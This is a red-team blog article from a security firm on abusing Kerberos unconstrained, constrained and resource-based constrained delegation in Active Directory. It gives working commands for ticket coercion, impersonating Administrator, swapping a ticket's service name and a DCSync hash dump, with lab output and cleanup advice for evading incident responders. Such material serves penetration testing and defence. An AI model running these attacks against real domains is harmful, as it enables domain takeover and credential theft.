Scorpiones Group
Loading

Kerberos Delegation Explained For Hackers By Hackers

In this article, Omri Baso, a security researcher and red teamer at SCORPIONES LTD.
Omri is OSCE3 certified, and obtained many other certificates during the years.
A detailed explanation of Omri's research into unconstrained delegation attacks will be presented in this article.
In this article, the core concepts of Kerberos delegation will be described, followed by an analysis of Kerberos delegation and unconstrained delegation.

TLDR for the lazy ones, here is the github link for the Invoke-Unconstrained.py tool.


Unconstrained Delegation

Unconstrained delegation is the most dangerous attack among delegation-based attacks (Constrained delegation, Resource-based constrained delegation).
This attack allows an attacker to impersonate as any user, on any machine in the domain (given the user is not protected or in "Protected Users" group).
In this type of delegation, when a user authenticates to a machine with unconstrained delegation enabled on the machine (useraccountcontrol : TRUSTED_FOR_DELEGATION), the KDC will send to the user a TGT (Ticket Granting Ticket) with the "Forwardable" flag, this flag enables the TGT to be valid to any machine in the domain.

Due to the nature of this delegation type, a machine with "unconstrained delegation" (useraccountcontrol : TRUSTED_FOR_DELEGATION), attribute can NOT ask for a TGT on the user behalf, the machine must obtain the TGT from the user/computer which wants to access a service hosted on the "unconstrained delegation" machine, due to these limitations, the exploitation of this delegation is a bit different.

When a TGS is requested for a service with Unconstrained Delegation enabled, a new Forwardable TGT will be generated to be placed inside the newly crafted TGS, the Forwardable TGT is encrypted inside the TGS with the NTLM (RC4 hash)/AES key of the Unconstrained Delegation machine.

e.g. domina.local\Machine$ :baac3929fabc9e6dcd32421ba94a84d4 -  the encryption key will be the baac3929fabc9e6dcd32421ba94a84d4 NTLM hash.

Constrained Delegation

In the context of constrained delegation, the attack chain is a bit different, The difference can also be understood by simply reading the value changes within the UserAccountControl attribute, the attribute in "constrained" delegation will be TRUSTED_TO_AUTH_FOR_DELEGATION unlike unconstrained which is TRUSTED_FOR_DELEGATION, the difference lays in TO_AUTH, where in constrained delegation, the machine can authenticate and ask for a ticket on another user behalf, and affectively impersonate that user - BUT It is constrained to a specific service, which limits the scope of exploitation (In case the a port is not defined within the SPN, an attacker can alter the SPN and access other services).

ms-DS-Allowed-To-Delegate (in LDAP it is written as msds-allowedtodelegateto) is the attribute which indicates which SPNs we can use.
by utilizing this we can request a ticket on other users behalf, this makes the Constrained Delegation attack, much easier to exploit.
Simply by authenticating as the machine account, and requesting a ticket for a machine listed under the msds-allowedtodelegateto attribute.

Resource Based Constrained Delegation

This one is the same concept as Constrained Delegation but instead of giving permissions for a machine to impersonate any user against certain services, Resource-Based Constrain Delegation (otherwise known as RBCD) sets a value in the target machine, that define which machine account can impersonate as other users on the target machine itself, this means that the impersonation permission will be written on the target machine object.

An RBCD configured machine (the target) has an attribute called msDS-AllowedToActOnBehalfOfOtherIdentity - this attribute will contains a SID of the machine account that can act on behalf of other users on the RBCD machine. In example, lets say we have two machines, MACHINE-A and MACHINE-B, and the SID of MACHINE-B is S-1-5-21-3419697060-3810377854-678604692, if the attribute msDS-AllowedToActOnBehalfOfOtherIdentity on MACHINE-A contains the MACHINE-B SID, It will mean that MACHINE-B can requests tickets as any user on MACHINE-A on any service , this usually results in a local administrator privileges while impersonating a domain admin.

Unlike constrained delegation where the target machines will not have any indication that they might be vulnerable to such attack, and the abused constrained delegation machine will have the attack path information stored on its' ms-DS-Allowed-To-Delegate attribute.

Pre-Exploitation: Kerberos Defaults && Fundamentals

Before we dive into exploitation, It is essential we understand a few concepts about the Kerberos implementation of Microsoft.
The delegation type is defined in the: UserAccountControl property.
Unconstrained delegation:
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION 
Constrained delegation:
useraccountcontrol : TRUSTED_TO_AUTH_FOR_DELEGATION 
By default, Kerberos tickets are encrypted using RC4 + HMAC which is the NT Hash of the machine account (if the Unconstrained Delegation is set on a computer object), sometimes, organizations can set the encryption of the ticket to use AES256 and other types, these types are assigned with a number representing those encryption types.
(18:AES256 CTS mode with HMAC SHA1-96)
(17:AES128 CTS mode with HMAC SHA1-96)
(20:AES256 CTS mode with HMAC SHA384-192)
(19:AES128 CTS mode with HMAC SHA256-128)
(16:DES3 CBC mode with SHA1-KD)
(23:RC4 with HMAC)
Second of all, we must verify two rules:
  1. When a service ticket is obtained, an SPN must be present in order to achieve the ticket.
  2. the Kerberos protocol relies on hostnames and not IP address, so whenever we are using Kerberos it is important to use hostnames and not IPs.
In order to exploit unconstrained delegation, we have two options:
  1. Cause a coerce authentication (Printerbug.py , PrivExchange, Coercer) to the machine with "Unconstrained Delegation" and listen with Rubeus for incoming tickets.
  2. At "Scorpiones Labs" we created a fully automated script that sets up the attack fully and automatically to exploit the vulnerability without actually running code on a domain joined machine.

Exploitation: Unconstrained Delegation  (Method 1)

The first method and most common one, is by using Rubeus in addition to using other coerce methods.
In this method we will execute Rubeus on monitor mode and listen for new tickets obtained while dumping new tickets to the disk.
.\Rubeus.exe monitor /targetuser:<username> /interval:10 
This method can also be exploited with mimikatz, with mimikatz we can dump tickets and then use them with a Pass-The-Ticket attack.
privilege::debug
sekurlsa::tickets /export
kerberos::list /export # Another way
Nowadays when EDRs / XDRs installed on endpoints is pretty common, these options are often not feasible, and might also give the blue team an indication that we are attacking the station which might result in losing the access we obtained.

Exploitation: Unconstrained Delegation (Method 2)

First and foremost, before we start we need the hashes of an owned machine with "Unconstrained Delegation" enabled. (hold the machine NTLM hash / AES keys).
Our tool will automate the exploitation in 3 main stages, adding SPNs to the target machine, setting the ms-DS-Additional-Dns-Host-Name (in LDAP it is msds-additionaldnshostname), and adding a DNS record to the HOSTNAME in the msds-additionaldnshostname field, with the IP of our attacking machine.
Since settings this up can be a pain, we automated it, lets see that in action.
invoke-unconstrained tool explained As can be seen above, our tool fully automated the exploitation setup and the populated the needed attributes by using LDAP.
In our example, we have an compromised Unconstrained Delegation machine named as DEG$. - since we have compromised this machine, we have SYSTEM access to this machine which means we can use secretsdump.py or mimikatz and obtain the machine NTLM / AES keys, our attacker IP is 10.0.0.8, and the FAKE hostname we will insert into the ms-DS-Additional-Dns-Host-Name field will be ATT30.labs.local, then we add a DNS record to ATT30.labs.local which points to 10.0.0.8.

Note: In AD environment every domain user can add DNS records if they do not exist.

Lets sort out the facts.
  1. DEG$ - A compromised unconstrained delegation machine. (NTLM hashes in hand).
  2. 10.0.0.8 - Kali IP
  3. ms-DS-Additional-Dns-Host-Name will be populated with ATT30.labs.local
  4. A DNS record will be added pointing from the ATT30.labs.local to 10.0.0.8
Considering the above, we compose the following command to be used with the Invoke-unconstrained.py script:
python.exe Invoke-unconstrained.py -u LABS\DEG$ -p aad3b435b51404eeaad3b435b51404ee:fd8d7a6f868dc2d81aaf3eb3a9ea6adc -t DEG$ -ah ATT30.labs.local -aip 10.0.0.8  10.0.0.5 
After adding the SPNs and editing the ms-DS-Additional-Dns-Host-Name field , the attack is ready to be exploited, there are 2 steps left in order to fulfill the exploitation process
invoke-unconstrained chain explained

In the screenshot above with all of the cool hackers stuff on the screen, we used the printerbug.py to trigger authentication from the domain controller to our kali attacking machine, as can be seen when we point it to 10.0.0.8 (explicitly using an IP address) - the attack fails (marked in a green square, top-left side), BUT when pointing it to our newly added DNS record at ATT30.labs.local we obtain a TGT as the domain controller, which affectively, give us a full domain compromise, this happens due to the SPNs that Invoke-unconstrained.py added.

After we run the Invoke-unconstrained.py script, we run krbrelayx.py and ANY coerce technique of choice, in our example case we used the printerbug.py script.

NOTE: When executing the Invoke-unconstrained.py on kali, it will automatically run krbrelayx.py with the -hashes argument containg the RC4 of the machine account, and then execute printerbug.py.

The krbrelayx.py should be launched with the aesKey(-aeskey) or RC4 (-hashes) argument contains the hash of the machine.
In our example, executing krbrelayx.py would look as follows:
python3 krbrelayx.py -hashes :fd8d7a6f868dc2d81aaf3eb3a9ea6adc 
After executing krbrelayx.py, we are now prepared to execute our desired coerce option, for demonstration purposes we used the following command:
python3 printerbug.py LABS/DEG\$@10.0.0.5 -hashes :fd8d7a6f868dc2d81aaf3eb3a9ea6adc ATT30.labs.local 

Pay attention we are using the HOSTNAME that we populated in the ms-DS-Additional-Dns-Host-Name attribute, and that is it! we fully automated the exploitation of unconstrained delegation, without downloading and executing attack tools on the victim machine.

One of the most important parts of an attack, is cleaning up after the attack, this helps evade blue team and IR teams, in penetration tests it is essential in order avoid leaving security gaps.
invoke-unconstrained cleanup In the screenshot above an example of a revert is shown with the following command below:
python.exe Invoke-unconstrained.py -u LABS\DEG$ -p aad3b435b51404eeaad3b435b51404ee:fd8d7a6f868dc2d81aaf3eb3a9ea6adc -r .\DEG-2023-10-25--15-30-23.434234 10.0.0.5 
As can be seen, the state file is composed from the machine name, date and time, so we can firmly know what is the last state we had.
(removing DNS records might not work without DNS Admins / Administrative rights depending on the environment)

Exploitation: Constrained Delegation

In order to exploit Constrained Delegation, you need the machine NTLM hash (the machine configured with Constrained Delegation), with that hash, you can act as the machine itself and request a ticket as any user to any SPN listed under the ms-DS-Allowed-To-Delegate attribute (in LDAP it is written as msds-allowedtodelegateto).

Before we start, it is important to mention a trick about the exploitation; As mentioned before, the most important thing which is signed in the ticket, is the HOST and PORT (if port is written), which means an SPN of http/dc01.labs.local can be altered to cifs/dc01.labs.local but mssql/dc01.labs.local:1433 cannot be altered due to the hardcoded port, lets say our machine CONSDEG$ has Constrained Delegation on the SPN HTTP/DC01.labs.local - which does not really help us if we do not have a service on HTTP ports that we can exploit.

In such case, the exploitation phase to abuse Constrained Delegation goes as follows:
getST.py LABS/CONSDEG$ -spn http/dc01.labs.local -hashes :0ff081fed30c81a7325d02edfb48209b -impersonate Administrator -dc-ip 192.168.117.131

Impacket v0.12.0.dev1+20231027.123703.c0e949fe - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
In the above it is shown how we request a ticket to the HTTP service, but as the name suggests it is a domain controller, and CIFS ticket will be best so we can perform a dcsync attack, to be able to achieve that, we can use the following tool tgssub.py, this tool will allow us to change the ticket SPN to a different service, and obtain a CIFS ticket even though the ticket we were granted is for HTTP.

tgssub.py -altservice CIFS/dc01.labs.local -in Administrator.ccache -out Administrator2.ccache

Impacket v0.12.0.dev1+20231027.123703.c0e949fe - Copyright 2023 Fortra[*] Number of credentials in cache: 1
[*] Changing service from http/dc01.labs.local@LABS.LOCAL to CIFS/dc01.labs.local@LABS.LOCAL
[*] Saving ticket in Administrator2.ccache
And then we use the newly formed ticket with:
export KRB5CCNAME=Administrator2.ccache 
and now we can execute a DCSync attack.
secretsdump.py -k -no-pass DC01.labs.local

Impacket v0.12.0.dev1+20231027.123703.c0e949fe - Copyright 2023 Fortra
[*] Target system bootKey: 0xca57fe52b0b4d43a836eea863c9ff9d7
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:47
bf8039a8506cd67c524a03ff84ba4e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
LABS\DC01$:plain_password_hex:acb8149a6a22ee0e0c54a11961f4cf913b00c1205faa1c819d506ba9971248dd9a44d700da4a8bc547723a13cc7377099f45c503511ea491baeff4c620a996ac3404ebe45cc6ea493ce6538e7990b68fda67734c4e6c38b01b57e5e89b0f44f9afceb47b78fb65eaa9263de3ece2a93b83a139dfd67d8307f8d360a4c51aeddb60b68f52ddf40b487230ec914248bed2cacb6da8c30e88df631c4c05d4eb376e24edea243402b59c9395917576444c563092fda98baa500ddc65098eddfb6f4bd9134d1bb3680eed05674dd28da9b86a12a99d57c3d901cd7cb9ac7bedb015352a7d9a7a431bd14a0b330fff126444e6 LABS\DC01$:aad3b435b51404eeaad3b435b51404ee:d9b6241c81103428c74e471b9072b1f9:::
Boom, we exploited an "unexploitable" Constrained Delegation scenario.

Exploitation: Resource Based Constrained Delegation (RBCD)

With RBCD, things are simple, we can request a ticket for any service, as any user, as long as the requester (the machine account we authenticate with) SID is listed under the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the victim machine (target).
getST.py LABS/CONSDEG$ -spn cifs/RBCDvictim.labs.local -hashes :0ff081fed30c81a7325d02edfb48209b -impersonate Administrator -dc-ip 192.168.117.131 
in our above example the SID of the LABS/CONSDEG$ machine account is written in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the RBCDvictim.labs.local machine.
This allows the LABS/CONSDEG$ machine to request a ticket as any user, for any service on the RBCDvictim.labs.local machine, but since this ticket is not forwardable, we cannot perform actions on other servers using this service (e.g adding a domain users, giving other users "Domain Admin" permissions, etc.).

Bonus

  1. Sometimes, unconstrained delegation can be exploited to even escalate privilege's inside a forest, by executing the same attack on a domain controller of the root domain, with a user and a machine at the child domain.
  2. To find possible delegations we can use findDelegation.py


Tags: Red Team Microsoft Lateral Movement Kerberos Kerberos Microsoft Microsoft Kerberos

Contact Us

SEND A MESSAGE